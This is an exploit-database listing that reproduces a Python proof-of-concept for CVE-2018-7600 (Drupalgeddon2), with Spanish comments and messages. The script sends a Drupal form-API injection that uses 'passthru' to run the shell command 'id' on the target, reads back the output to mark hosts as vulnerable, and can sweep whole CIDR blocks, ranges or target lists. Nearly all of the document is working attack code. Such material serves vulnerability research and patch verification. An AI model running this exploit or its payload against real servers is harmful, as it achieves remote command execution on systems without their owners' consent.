Exploit databaseDownload repository ZIP
GH-b6d4499aa81e4e38ee203b81c2a894f4
4l13n-dn/poc-cve-2018-7600
Sources for CVE-2018-7600
63 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
4l13n-dn/poc-cve-2018-7600Revision bdea95b4c1e3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
POC-Drupal.py
Python · 5,400 bytes#!/usr/bin/env python3
import argparse, itertools, ipaddress, re, sys, time
from urllib.parse import urlparse
import requests
IP_REGEX = re.compile(r"^(\d{1,3}\.){3}\d{1,3}$")
verbose = False
def normalize_host(t):
t = t.strip()
if t.startswith(("http://", "https://")):
h = urlparse(t).hostname
if not h:
raise ValueError("URL sin hostname")
return h
if IP_REGEX.match(t):
return t
raise ValueError("Sólo IPv4 o URL con IPv4")
def build_targets(args):
t = args.target.strip()
# 1) CIDR
if args.cidr:
net = ipaddress.ip_network(t, strict=False)
return [str(h) for h in net.hosts()]
# 2) Archivo
if args.file:
with open(t) as f:
return [l.strip() for l in f if l.strip()]
# 3) Múltiples separados por coma
if args.multiple:
return [x.strip() for x in t.split(",") if x.strip()]
# 4) Rango tipo nmap 192.168.1-2.0-254
if args.range:
octets = [o.strip().split("-") for o in t.split(".")]
ranges = [range(int(x[0]), int(x[1]) + 1) if len(x) == 2 else [int(x[0])]
for x in octets]
return [".".join(map(str, x)) for x in itertools.product(*ranges)]
# 5) IP / URL simple (por defecto)
return [t]
def exploit(targets):
send_params = {
'q': 'user/password',
'name[#post_render][]': 'passthru',
'name[#markup]': 'id',
'name[#type]': 'markup'
}
send_data = {'form_id': 'user_pass', '_triggering_element_name': 'name'}
timeout = 3 if verbose else 5
num = len(targets)
vuln = 0
t0 = time.time()
for raw in targets:
try:
host = normalize_host(raw)
except ValueError as e:
print(f"[!] Invalid: {raw} -> {e}")
continue
url = "http://" + host
print("{:=<74}".format(""))
print("[~] {:<60} [{:^7}]".format(url, "..."), end="", flush=True)
try:
r = requests.post(url, data=send_data, params=send_params, timeout=timeout)
r.raise_for_status()
except (requests.Timeout, requests.ConnectionError):
print("\r[~] {:<60} [{:^7}]".format(url, "ERR"))
print("{:>7} ERROR: Timeout/Conn".format("--"))
continue
except requests.HTTPError:
print("\r[~] {:<60} [{:^7}]".format(url, "ERR"))
print("{:>7} ERROR: HTTP 4xx/5xx".format("--"))
continue
except requests.InvalidURL:
print("\r[~] {:<60} [{:^7}]".format(url, "ERR"))
print("{:>7} ERROR: URL inválida".format("--"))
continue
except Exception:
print("\r[~] {:<60} [{:^7}]".format(url, "ERR"))
print("{:>7} ERROR: inesperado".format("--"))
sys.exit(1)
else:
print("\r[~] {:<60} [{:^7}]".format(url, "OK"))
if verbose:
print("{:>7} OK: Alive".format("--"))
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />',
r.text)
if not m:
print("{:>7} No parece Drupal".format("--"))
continue
if verbose:
print("{:>7} OK: Drupal detectado".format("--"))
fb = m.group(1)
send_params2 = {'q': 'file/ajax/name/#value/' + fb}
send_data2 = {'form_build_id': fb}
try:
r2 = requests.post(url, data=send_data2, params=send_params2, timeout=timeout)
except Exception:
print("{:>7} ERROR: 2da petición".format("--"))
continue
r2.encoding = 'ISO-8859-1'
out = r2.text.split("[{")[0].strip()
if out:
print("{:>7} Vulnerable (CVE-2018-7600)".format("--"))
vuln += 1
else:
print("{:>7} Patched (CVE-2018-7600)".format("--"))
t1 = time.time()
print("{:=<74}".format(""))
print(f"[+] {num} target(s) scanned, {vuln} vulnerable (CVE-2018-7600)")
print(f"[+] Scan completed in {t1 - t0:.3f} seconds")
def parse_args():
p = argparse.ArgumentParser(
prog="drupalgeddon2-scan.py",
description="Simple scanner para CVE-2018-7600"
)
p.add_argument("target", help="IP, URL, CIDR, rango, archivo, etc.")
p.add_argument("-c", "--cidr", action="store_true", help="Modo CIDR (ej: 192.168.1.0/24)")
p.add_argument("-f", "--file", action="store_true", help="Leer objetivos desde archivo")
p.add_argument("-m", "--multiple", action="store_true", help="Varios objetivos separados por coma")
p.add_argument("-r", "--range", action="store_true", help="Rango tipo nmap (192.168.1-2.0-254)")
p.add_argument("-v", "--verbose", action="store_true", help="Modo verboso")
return p.parse_args()
def main():
global verbose
args = parse_args()
verbose = args.verbose
print("[~] Starting scan...")
try:
targets = build_targets(args)
except FileNotFoundError:
print("[!] Archivo no encontrado")
sys.exit(1)
except ValueError as e:
print(f"[!] Input inválido: {e}")
sys.exit(1)
exploit(targets)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n-- Ctrl+C, saliendo.")
except Exception as e:
print(e)
print("[!] Error inesperado.")
sys.exit(1)